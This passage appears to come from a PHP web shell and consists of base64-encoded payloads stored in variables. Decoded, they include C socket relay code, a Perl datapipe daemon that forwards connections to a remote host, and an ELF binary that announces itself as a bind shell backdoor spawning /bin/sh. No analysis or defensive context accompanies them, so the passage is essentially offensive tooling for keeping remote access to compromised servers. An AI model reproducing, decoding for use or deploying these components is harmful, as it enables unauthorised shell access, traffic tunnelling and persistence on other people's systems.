lBZ0lDQWdJR1pqYkc5elpTaGpabWxzWlNrN0RRb2dJQ0FnSUNCamIyNTBhVzUxWlRzTkNpQWdJQ0I5RFFv Z0lDQWdhV1lnS0c1aWVYUWdQVDBnTUNrTkNpQWdJQ0FnSUdkdmRHOGdaMjkwYw0KMjlqYXpzTkNpQWdJQ0 JtWTJ4dmMyVW9ZMlpwYkdVcE93MEtJQ0FnSUhkb2FXeGxJQ2gzWVdsMGNHbGtLQzB4TENCT1ZVeE1MQ0JY VGs5SVFVNUhLU0ErSURBcE93MEtJQ0I5RFFvZ0lISmxkSFZ5YmlBeQ0KTURzTkNnMEtJR2R2ZEhOdlkycz ZEUW9nSUdsbUlDZ29iM052WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJ RWxRVUZKUFZFOWZWRU5RS1NrZ1BUMGdMVEVwSUhzTkNpQQ0KZ0lDQm1jSEpwYm5SbUtHTm1hV3hsTENBaU 5UQXdJSE52WTJ0bGREb2dKWE5jYmlJc0lITjBjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnWjI5MGJ5 QnhkV2wwTVRzTkNpQWdmUTBLSUNCdllXUmtjaQ0KNXphVzVmWm1GdGFXeDVJRDBnYUMwK2FGOWhaR1J5ZE hsd1pUc05DaUFnYjJGa1pISXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aHZjRzl5ZENrN0RRb2dJRzFsYldO d2VTZ21iMkZrWkhJdWMybHVYMkZrWg0KSElzSUdndFBtaGZZV1JrY2l3Z2FDMCthRjlzWlc1bmRHZ3BPdz BLSUNCcFppQW9ZMjl1Ym1WamRDaHZjMjlqYXl3Z0ptOWhaR1J5TENCemFYcGxiMllvYjJGa1pISXBLU2tn ZXcwS0lDQWdJR1p3Y21sdQ0KZEdZb1kyWnBiR1VzSUNJMU1EQWdZMjl1Ym1WamREb2dKWE5jYmlJc0lITj BjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnWjI5MGJ5QnhkV2wwTVRzTkNpQWdmUTBLSUNCM2FHbHNa U0FvTVNrZ2V3MA0KS0lDQWdJRVpFWDFwRlVrOG9KbVprYzNJcE93MEtJQ0FnSUVaRVgxcEZVazhvSm1aa2 MyVXBPdzBLSUNBZ0lFWkVYMU5GVkNoamMyOWpheXdtWm1SemNpazdEUW9nSUNBZ1JrUmZVMFZVS0dOemIy TnJMQw0KWm1aSE5sS1RzTkNpQWdJQ0JHUkY5VFJWUW9iM052WTJzc0ptWmtjM0lwT3cwS0lDQWdJRVpFWD FORlZDaHZjMjlqYXl3bVptUnpaU2s3RFFvZ0lDQWdhV1lnS0hObGJHVmpkQ2d5TUN3Z0ptWmtjM0lzSQ0K RTVWVEV3c0lDWm1aSE5sTENCT1ZVeE1LU0E5UFNBdE1Ta2dldzBLSUNBZ0lDQWdabkJ5YVc1MFppaGpabW xzWlN3Z0lqVXdNQ0J6Wld4bFkzUTZJQ1Z6WEc0aUxDQnpkSEpsY25KdmNpaGxjbkp1YnlrcA0KT3cwS0lD QWdJQ0FnWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0VaRVgwbFRVMFZVS0dOemIyTn JMQ1ptWkhOeUtTQjhmQ0JHUkY5SlUxTkZWQ2hqYzI5amF5d21abVJ6WlNrcElIcw0KTkNpQWdJQ0FnSUds bUlDZ29ibUo1ZENBOUlISmxZV1FvWTNOdlkyc3NZblZtTERRd09UWXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2 NYVnBkREk3RFFvZ0lDQWdJQ0JwWmlBb0tIZHlhWFJsS0c5emIyTnJMRw0KSjFaaXh1WW5sMEtTa2dQRDBn TUNrTkNnbG5iM1J2SUhGMWFYUXlPdzBLSUNBZ0lIMGdaV3h6WlNCcFppQW9Sa1JmU1ZOVFJWUW9iM052WT Jzc0ptWmtjM0lwSUh4OElFWkVYMGxUVTBWVUtHOXpiMk5yTA0KQ1ptWkhObEtTa2dldzBLSUNBZ0lDQWdh V1lnS0NodVlubDBJRDBnY21WaFpDaHZjMjlqYXl4aWRXWXNOREE1TmlrcElEdzlJREFwRFFvSloyOTBieU J4ZFdsME1qc05DaUFnSUNBZ0lHbG1JQ2dvZDNKcA0KZEdVb1kzTnZZMnNzWW5WbUxHNWllWFFwS1NBOFBT QXdLUTBLQ1dkdmRHOGdjWFZwZERJN0RRb2dJQ0FnZlEwS0lDQjlEUW9OQ2lCeGRXbDBNam9OQ2lBZ2MyaD FkR1J2ZDI0b2IzTnZZMnNzTWlrN0RRbw0KZ0lHTnNiM05sS0c5emIyTnJLVHNOQ2lCeGRXbDBNVG9OQ2lB Z1ptWnNkWE5vS0dObWFXeGxLVHNOQ2lBZ2MyaDFkR1J2ZDI0b1kzTnZZMnNzTWlrN0RRb2djWFZwZERBNk RRb2dJR1pqYkc5elpTaGpabQ0KbHNaU2s3RFFvZ0lISmxkSFZ5YmlBd093MEtmUT09IjsNCiRkYXRhcGlw ZV9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DblZ6WlNCUVQxTk pXRHNOQ2lSc2IyTmhiSEJ2Y25RZ1BTQWtRVkpIVmxzd1hUc05DaVJvYjNOMEkNCkNBZ0lDQWdQU0FrUVZK SFZsc3hYVHNOQ2lSd2IzSjBJQ0FnSUNBZ1BTQWtRVkpIVmxzeVhUc05DaVJrWVdWdGIyNDlNVHNOQ2lSRV NWSWdQU0IxYm1SbFpqc05DaVI4SUQwZ01Uc05DbWxtSUNna1pHRmwNCmJXOXVLWHNnSkhCcFpDQTlJR1p2 Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWk NrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UNCmdJaVFoSWpzZ2ZRMEtKVzhnUFNBb0ozQnZj blFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKM1J2Y0c5eWRDY2dQVDRnSkhCdmNuUXNKM1J2YUc5emRDY2dQVD RnSkdodmMzUXBPdzBLSkdGb0lEMGdTVTg2T2wNCk52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RNYjJOaGJG QnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKMUpsZFhObEp5QTlQaUF4TENkTWFYTjBaVzRuSUQwK0lERX dLU0I4ZkNCa2FXVWdJaVFoSWpzTkMNCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1 MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbU lDZ2hKR05vS1NCN0lIQnkNCmFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0lHNWxlSFE3SUgwTkNpc3JKRzUx
YlRzTkNpUndhV1FnUFNCbWIzSnJLQ2s3RFFwcFppQW9JV1JsWm1sdVpXUW9KSEJwWkNrcElIc2djSEpwYm 5RZ1UxUkVSVkoNClNJQ0lrSVZ4dUlqc2dmU0FOQ21Wc2MybG1JQ2drY0dsa0lEMDlJREFwSUhzZ0pHRm9M VDVqYkc5elpTZ3BPeUJTZFc0b1hDVnZMQ0FrWTJnc0lDUnVkVzBwT3lCOUlBMEtaV3h6WlNCN0lDUmphQz ArWTINCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtT QTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVENCl dSa2NpY2dQVDRnSkc4dFBuc25kRzlvYjNOMEozMHNKMUJsWlhKUWIzSjBKeUE5UGlBa2J5MCtleWQwYjNC dmNuUW5mU2s3RFFwcFppQW9JU1IwYUNrZ2V5QmxlR2wwSURBN0lIME5DbTE1SUNSbWFEc04NCkNtbG1JQ2 drYnkwK2V5ZGthWEluZlNrZ2V5QWtabWdnUFNCVGVXMWliMnc2T21kbGJuTjViU2dwT3lCdmNHVnVLQ1Jt YUN3Z0lqNGtieTArZXlka2FYSW5mUzkwZFc1dVpXd2tiblZ0TG14dlp5SXBJRzkNCnlJR1JwWlNBaUpDRW lPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9h V3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkNCkk3RFFwMlpXTW9KSEpwYml3Z1 ptbHNaVzV2S0NSamFDa3NJREVwSUQwZ01TQnBaaUFrWTJnN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktD UjBhQ2tzSURFcElEMGdNU0JwWmlBa2RHZzdEUXB0ZVNna2MNCm05MWRDd2dKR1Z2ZFhRcE93MEtjMlZzWl dOMEtDUnliM1YwSUQwZ0pISnBiaXdnZFc1a1pXWXNJQ1JsYjNWMElEMGdKSEpwYml3Z01USXdLVHNOQ21s bUlDZ2hKSEp2ZFhRZ0lDWW1JQ0FoSkdWdmRYUXANCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdz BLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxz Wlc1dktDUmphQ2tzSURFcElIeDhJSFoNCmxZeWdrY205MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcEtTa2 dldzBLYlhrZ0pISmxjM1ZzZENBOUlITjVjM0psWVdRb0pHTm9MQ0FrZEdKMVptWmxjaXdnTVRBeU5DazdE UXBwWmlBb0lXUmxabWx1WlcNClFvSkhKbGMzVnNkQ2twSUhzTkNuQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2 JpSTdEUXBsZUdsMElEQTdEUXA5RFFwcFppQW9KSEpsYzNWc2RDQTlQU0F3S1NCN0lHVjRhWFFnTURzZ2ZR MEtmUTBLYVdZZ0sNCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1 NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4 MElEMGcNCmMzbHpjbVZoWkNna2RHZ3NJQ1JqWW5WbVptVnlMQ0F4TURJMEtUc05DbWxtSUNnaFpHVm1hVz VsWkNna2NtVnpkV3gwS1NrZ2V5QndjbWx1ZENCVFZFUkZVbElnSWlRaFhHNGlPeUJsZUdsMElEQTdJSDAN Ck5DbWxtSUNna2NtVnpkV3gwSUQwOUlEQXBJSHRsZUdsMElEQTdmUTBLZlEwS2FXWWdLQ1JtYUNBZ0ppWW dJQ1IwWW5WbVptVnlLU0I3S0hCeWFXNTBJQ1JtYUNBa2RHSjFabVpsY2lrN2ZRMEtkMmhwYkcNClVnS0cx NUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcG RHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kNCkRBcElIc2tkR0ox Wm1abGNpQTlJSE4xWW5OMGNpZ2tkR0oxWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSU ZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZlEwS2QyaHBiR1VnS0cxNUlDUnMNClpXNGdQU0JzWlc1bmRHZ29K R05pZFdabVpYSXBLU0I3RFFwdGVTQWtjbVZ6SUQwZ2MzbHpkM0pwZEdVb0pHTm9MQ0FrWTJKMVptWmxjaX dnSkd4bGJpazdEUXBwWmlBb0pISmxjeUErSURBcElIc2tZMkoNCjFabVpsY2lBOUlITjFZbk4wY2lna1ky SjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN 2ZRMEtmWDE5RFFvPSI7DQokcG9ydF9iaW5kX2JkX2NzPSJmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0F CQUFBQW9JVUVDRFFBQUFENEVnQUFBQUFBQURRQUlBQUhBQ2dBSWdBZkFBWUFBQUEwQUFBQU5JQUVDRFNBQ kFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUF FQUFBQUJBQUFBQUFBQUFBQ0FCQWdBZ0FRSXJBa0FBS3dKQUFBRkFBQUFBQkFBQUFFQUFBQ3NDUUFBckprR UNLeVpCQWcwQVFBQU9BRUFBQVlBQUFBQUVBQUFBZ0FBQU1BSkFBREFtUVFJd0prRUNNZ0FBQURJQUFBQUJ nQUFBQVFBQUFBRUFBQUFLQUVBQUNpQkJBZ29nUVFJSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQ UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxc2FXNTFlQzV6Ynk0eUFBQUV BQUFBRUFBQUFBRUFBQUJIVGxVQUFBQUFBQUlBQUFBQ0FBQUFBQUFBQUJFQUFBQVRBQUFBQUFBQUFBQUFBQ UFRQUFBQUVRQUFBQUFBQUFBQUFBQUFDUUFBQUFnQUFBQUZBQUFBQXdBQUFBMEFBQUFBQUFBQUFBQUFBQTh BQUFBS0FBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ UFZQUFBQUJBQUFBQUFBQUFBY0FBQUFMQUFBQUFBQUFBQVFBQUFBTUFBQUFEZ0FBQUFJQUFBQUFBQUFBQUF BQUFBQUFBQUFBQUFBQUFBQUFBQzRBQUFBQUFBQUFkUUVBQUJJQUFBQ2dBQUFBQUFBQUFIRUFBQUFTQUFBQ U5BQUFBQUFBQUFETUFBQUFFZ0FBQUdvQUFBQUFBQUFBV2dBQUFCSUFBQUJNQUFBQUFBQUFBSGdBQUFBU0F BQUFZd0FBQUFBQUFBQTVBQUFBRWdBQUFGZ0FBQUFBQUFBQU9RQUFBQklBQUFDT0FBQUFBQUFBQU9ZQUFBQ VNBQUFBT3dBQUFBQUFBQUE2QUFBQUVnQUFBRk1BQUFBQUFBQUFPUUFBQUJJQUFBQjFBQUFBQUFBQUFMa0F BQUFTQUFBQWVnQUFBQUFBQUFBckFBQUFFZ0FBQUVjQUFBQUFBQUFBZUFBQUFCSUFBQUJ2QUFBQUFBQUFBQ TRBQUFBU0FBQUFmd0FBQUVpSkJBZ0VBQUFBRVFBT0FFQUFBQUFBQUFBQU9RQUFBQklBQUFBQkFBQUFBQUF BQUFBQUFBQWdBQUFBRlFBQUFBQUFBQUFBQUFBQUlBQUFBQUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6Q UY5ZloyMXZibDl6ZEdGeWRGOWZBR3hwWW1NdWMyOHVOZ0JsZUdWamJBQndaWEp5YjNJQVpIVndNZ0J6YjJ OclpYUUFjMlZ1WkFCaFkyTmxjSFFBWW1sdVpBQnpaWFJ6YjJOcmIzQjBBR3hwYzNSbGJnQm1iM0pyQUdoM GIyNXpBR1Y0YVhRQVlYUnZhUUJmU1U5ZmMzUmthVzVmZFhObFpBQmZYMnhwWW1OZmMzUmhjblJmYldGcGJ nQmpiRzl6WlFCSFRFbENRMTh5TGpBQUFBQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBS UFBUUFDQUFBQUFBQUFBQUVBQVFBa0FBQUFFQUFBQUFBQUFBQVFhV2tOQUFBQ0FLWUFBQUFBQUFBQWlKb0V DQVlTQUFDWW1nUUlCd0VBQUp5YUJBZ0hBZ0FBb0pvRUNBY0RBQUNrbWdRSUJ3UUFBS2lhQkFnSEJRQUFyS m9FQ0FjR0FBQ3dtZ1FJQndjQUFMU2FCQWdIQ0FBQXVKb0VDQWNKQUFDOG1nUUlCd29BQU1DYUJBZ0hDd0F
BeEpvRUNBY01BQURJbWdRSUJ3MEFBTXlhQkFnSERnQUEwSm9FQ0FjUUFBQlZpZVdEN0Fqb01RRUFBT2lEQ VFBQTZGc0VBQURKd3dEL05aQ2FCQWovSlpTYUJBZ0FBQUFBL3lXWW1nUUlhQUFBQUFEcDRQLy8vLzhsbkp vRUNHZ0lBQUFBNmRELy8vLy9KYUNhQkFob0VBQUFBT25BLy8vLy95V2ttZ1FJYUJnQUFBRHBzUC8vLy84b HFKb0VDR2dnQUFBQTZhRC8vLy8vSmF5YUJBaG9LQUFBQU9tUS8vLy8veVd3bWdRSWFEQUFBQURwZ1AvLy8 vOGx0Sm9FQ0dnNEFBQUE2WEQvLy8vL0piaWFCQWhvUUFBQUFPbGcvLy8vL3lXOG1nUUlhRWdBQUFEcFVQL y8vLzhsd0pvRUNHaFFBQUFBNlVELy8vLy9KY1NhQkFob1dBQUFBT2t3Ly8vLy95WEltZ1FJYUdBQUFBRHB JUC8vLy84bHpKb0VDR2hvQUFBQTZSRC8vLy8vSmRDYUJBaG9jQUFBQU9rQS8vLy9NZTFlaWVHRDVQQlFWR kpvcllnRUNHaGNpQVFJVVZab1FJWUVDT2hmLy8vLzlKQ1FWWW5sVStnYkFBQUFnY08vRkFBQWcrd0VpNFA 4Ly8vL2hjQjBBdi9RZzhRRVcxM0RpeHdrdzFXSjVZUHNDSUE5NEpvRUNBQjBET3NjZzhBRW85eWFCQWovM HFIY21nUUlpeENGMG5YcnhnWGdtZ1FJQWNuRFZZbmxnK3dJb2J5WkJBaUZ3SFFTdUFBQUFBQ0Z3SFFKeHd Ra3ZKa0VDUC9ReWNPUWtGV0o1VmVEN0dTRDVQQzRBQUFBQUlQQUQ0UEFEOEhvQk1IZ0JDbkV4MFhrQVFBQ UFNZEYrRXlKQkFqSFJDUUlBQUFBQU1kRUpBUUJBQUFBeHdRa0FnQUFBT2dKLy8vL2lVWHdnMzN3QUhrWXh 3UWtqSWtFQ09nMC92Ly94d1FrQVFBQUFPaW8vdi8vWnNkRjFBSUF4MFhZQUFBQUFJdEZESVBBQklzQWlRU Ws2SnYrLy84UHQ4Q0pCQ1Rvc1A3Ly8yYUpSZGJIUkNRUUJBQUFBSTFGNUlsRUpBekhSQ1FJQWdBQUFNZEV KQVFCQUFBQWkwWHdpUVFrNkJMKy8vK05SZFRIUkNRSUVBQUFBSWxFSkFTTFJmQ0pCQ1RvS1A3Ly80WEFlU mpIQkNTVGlRUUk2S2o5Ly8vSEJDUUJBQUFBNkJ6Ky8vL0hSQ1FFQ0FBQUFJdEY4SWtFSk9pNS9mLy9oY0I 1R01jRUpKaUpCQWpvZWYzLy84Y0VKQUVBQUFEbzdmMy8vOGRGNkJBQUFBQ05SZWlOVmNTSlJDUUlpVlFrQ kl0RjhJa0VKT2h0L2YvL2lVWDBnMzMwQUhrTXh3UWtqSWtFQ09nNC9mLy82RVA5Ly8rRndBK0Vwd0FBQUl 0RitMbi8vLy8vaVVXNHVBQUFBQUQ4aTMyNDhxNkp5UGZRZytnQngwUWtEQUFBQUFDSlJDUUlpMFg0aVVRa 0JJdEY5SWtFSk9pUS9mLy94MFFrQkFBQUFBQ0xSZlNKQkNUb1BmMy8vOGRFSkFRQkFBQUFpMFgwaVFRazZ DcjkvLy9IUkNRRUFnQUFBSXRGOUlrRUpPZ1gvZi8veDBRa0NBQUFBQURIUkNRRW40a0VDTWNFSkorSkJBa m9lL3ovLzR0RjhJa0VKT2lBL1AvL3h3UWtBQUFBQU9nRS9mLy9pMFgwaVFRazZHbjgvLy9wRHYvLy8xV0o 1VmRXTWZaVDZILzkvLytCd3lNU0FBQ0Q3QXpvRWZ6Ly80MkRJUC8vLzQyVElQLy8vNGxGOENuUXdmZ0NPY 1p6Rm9uWC94U3lpMFh3ZzhZQktmaUorc0g0QWpuR2N1eUR4QXhiWGw5ZHcxV0o1WVBzR0lsZDlPZ3QvZi8 vZ2NQUkVRQUFpWFg0aVgzOGpiTWcvLy8vamJzZy8vLy9LZjdCL2dMckEvOFV0NFB1QVlQKy8zWDE2RG9BQ UFDTFhmU0xkZmlMZmZ5SjdGM0RrRldKNVZPRDdBU2hySmtFQ0lQNC8zUVN1NnlaQkFqLzBJdEQvSVByQkl QNC8zWHpnOFFFVzEzRGtKQ1FWWW5sVStpNy9QLy9nY05mRVFBQWcrd0U2TEg4Ly8rRHhBUmJYY01BQUFBR EFBQUFBUUFDQURvNklIYzBZMnN4Ym1jdGMyaGxiR3dnS0ZCeWFYWmhkR1VnUW5WcGJHUWdkakF1TXlrZ1l tbHVaQ0J6YUdWc2JDQmlZV05yWkc5dmNpQTZPaUFLQ2dCemIyTnJaWFFBWW1sdVpBQnNhWE4wWlc0QUwyS nBiaTl6YUFBQUFBQUFBUC8vLy84QUFBQUEvLy8vL3dBQUFBQUFBQUFBQVFBQUFDUUFBQUFNQUFBQWlJUUV DQTBBQUFBa2lRUUlCQUFBQUVpQkJBZ0ZBQUFBRUlNRUNBWUFBQURnZ1FRSUNnQUFBTEFBQUFBTEFBQUFFQ UFBQUJVQUFBQUFBQUFBQXdBQUFJeWFCQWdDQUFBQWVBQUFBQlFBQUFBUkFBQUFGd0FBQUJDRUJBZ1JBQUF BQ0lRRUNCSUFBQUFJQUFBQUV3QUFBQWdBQUFEKy8vOXY2SU1FQ1AvLy8yOEJBQUFBOFAvL2I4Q0RCQWdBQ UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF BQUFBQUF3SmtFQ0FBQUFBQUFBQUFBdG9RRUNNYUVCQWpXaEFRSTVvUUVDUGFFQkFnR2hRUUlGb1VFQ0NhR kJBZzJoUVFJUm9VRUNGYUZCQWhtaFFRSWRvVUVDSWFGQkFpV2hRUUlBQUFBQUFBQUFBQzRtUVFJQUVkRFF 6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZ E9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2d OQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ05DNHdMa k1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZ pZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZ FNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGp RdU5pMHhkV0oxYm5SMU1pa0FBQUFjQUFBQUFnQUFBQUFBQkFBQUFBQUFvSVVFQ0NJQUFBQUFBQUFBQUFBQ UFEUUFBQUFDQUFzQkFBQUVBQUFBQUFEb2hRUUlCQUFBQUNTSkJBZ1NBQUFBaUlRRUNBc0FBQURFaFFRSUp BQUFBQUFBQUFBQUFBQUFMQUFBQUFJQW13RUFBQVFBQUFBQUFPaUZCQWdFQUFBQU80a0VDQVlBQUFDZGhBU UlBZ0FBQUFBQUFBQUFBQUFBSVFBQUFBSUFlZ0FBQUpFQUFBQjVBQUFBWDBsUFgzTjBaR2x1WDNWelpXUUF BQUFBQUhZQUFBQUNBQUFBQUFBRUFRQUFBQUNnaFFRSXdvVUVDQzR1TDNONWMyUmxjSE12YVRNNE5pOWxiR 1l2YzNSaGNuUXVVd0F2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V 2WjJ4cFltTXRNaTR6TGpZdlkzTjFBRWRPVlNCQlV5QXlMakUyTGpreEFBR0FqUUFBQUFJQUZBQUFBQVFCV 3dBQUFNU0ZCQWpFaFFRSVlnQUFBQUVBQUFBQUVRQUFBQUtRQUFBQUJBY0NWQUFBQUFFSUFwMEFBQUFDQnd LTEFBQUFCQWNDVmdBQUFBRUdBZ2NBQUFBQ0JRTnBiblFBQkFVQ1JnQUFBQWdGQW9ZQUFBQUlCd0pMQUFBQ UJBVUNrQUFBQUFRSEFsMEFBQUFCQmdTd0FBQUFBUm1MQUFBQUFRVURTSWtFQ0FWUEFBQUFBSXdBQUFBQ0F GWUFBQUFFQVlJQUFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXV XZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnBMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXV OaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnS XdBQUFBQ0FHWUFBQUFFQVM4QkFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3h rTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnVMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpW XkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk
0NU1RQUJnQUVSQUJBR0VRRVNBUU1JR3dnbENCTUZBQUFBQVJFQkVBWVNBUkVCSlE0VEN3TU9HdzRBQUFJa 0FBTU9Dd3MrQ3dBQUF5UUFBd2dMQ3o0TEFBQUVOQUFERGpvTE93dEpFejhNQWdvQUFBVW1BRWtUQUFBQUF SRUFFQVlEQ0JzSUpRZ1RCUUFBQUFFUkFCQUdBd2diQ0NVSUV3VUFBQUJYQUFBQUFnQXlBQUFBQVFIN0RnM EFBUUVCQVFBQUFBRUFBQUV1TGk5emVYTmtaWEJ6TDJrek9EWXZaV3htQUFCemRHRnlkQzVUQUFFQUFBQUF CUUtnaFFRSUE4QUFBVE1oTkQwbElnTVlJRmxhSVNKY1d3SUJBQUVCSXdBQUFBSUFIUUFBQUFFQit3NE5BQ UVCQVFFQUFBQUJBQUFCQUdsdWFYUXVZd0FBQUFBQXFRQUFBQUlBVUFBQUFBRUIrdzROQUFFQkFRRUFBQUF CQUFBQkwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0Y kdsaVl5OWpjM1VBQUdOeWRHa3VVd0FCQUFBQUFBVUM2SVVFQ0FQQUFBRTlBZ0VBQVFFQUJRSWtpUVFJQXk 0QklTOGhXV2NDQXdBQkFRQUZBb2lFQkFnREh3RWhMejBDQlFBQkFRQUZBc1NGQkFnRENnRWhMeUZaWnoxb kx5OHdQU0VoQWdFQUFRR0lBQUFBQWdCUUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXZZblZwYkdRdll uVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFFBQVkzS jBiaTVUQUFFQUFBQUFCUUxvaFFRSUF5RUJQUUlCQUFFQkFBVUNPNGtFQ0FNU0FUMGhJUUlCQUFFQkFBVUN uWVFFQ0FNSkFTRUNBUUFCQVdsdWFYUXVZd0J6YUc5eWRDQnBiblFBTDJKMWFXeGtMMkoxYVd4a1pDOW5iR 2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJzYjI1bklHeHZibWN nYVc1MEFIVnVjMmxuYm1Wa0lHTm9ZWElBUjA1VklFTWdNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4Z FdKMWJuUjFNaWtBYkc5dVp5QnNiMjVuSUhWdWMybG5ibVZrSUdsdWRBQnphRzl5ZENCMWJuTnBaMjVsWkN CcGJuUUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFDNXplVzEwWVdJQUxuTjBjblJoWWdBdWMyaHpkSEowWVdJQ UxtbHVkR1Z5Y0FBdWJtOTBaUzVCUWtrdGRHRm5BQzVvWVhOb0FDNWtlVzV6ZVcwQUxtUjVibk4wY2dBdVo yNTFMblpsY25OcGIyNEFMbWR1ZFM1MlpYSnphVzl1WDNJQUxuSmxiQzVrZVc0QUxuSmxiQzV3YkhRQUxtb HVhWFFBTG5SbGVIUUFMbVpwYm1rQUxuSnZaR0YwWVFBdVpXaGZabkpoYldVQUxtTjBiM0p6QUM1a2RHOXl jd0F1YW1OeUFDNWtlVzVoYldsakFDNW5iM1FBTG1kdmRDNXdiSFFBTG1SaGRHRUFMbUp6Y3dBdVkyOXRiV 1Z1ZEFBdVpHVmlkV2RmWVhKaGJtZGxjd0F1WkdWaWRXZGZjSFZpYm1GdFpYTUFMbVJsWW5WblgybHVabTh BTG1SbFluVm5YMkZpWW5KbGRnQXVaR1ZpZFdkZmJHbHVaUUF1WkdWaWRXZGZjM1J5QUFBQUFBQUFBQUFBQ UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHd0FBQUFFQUFBQUNBQUFBRkl 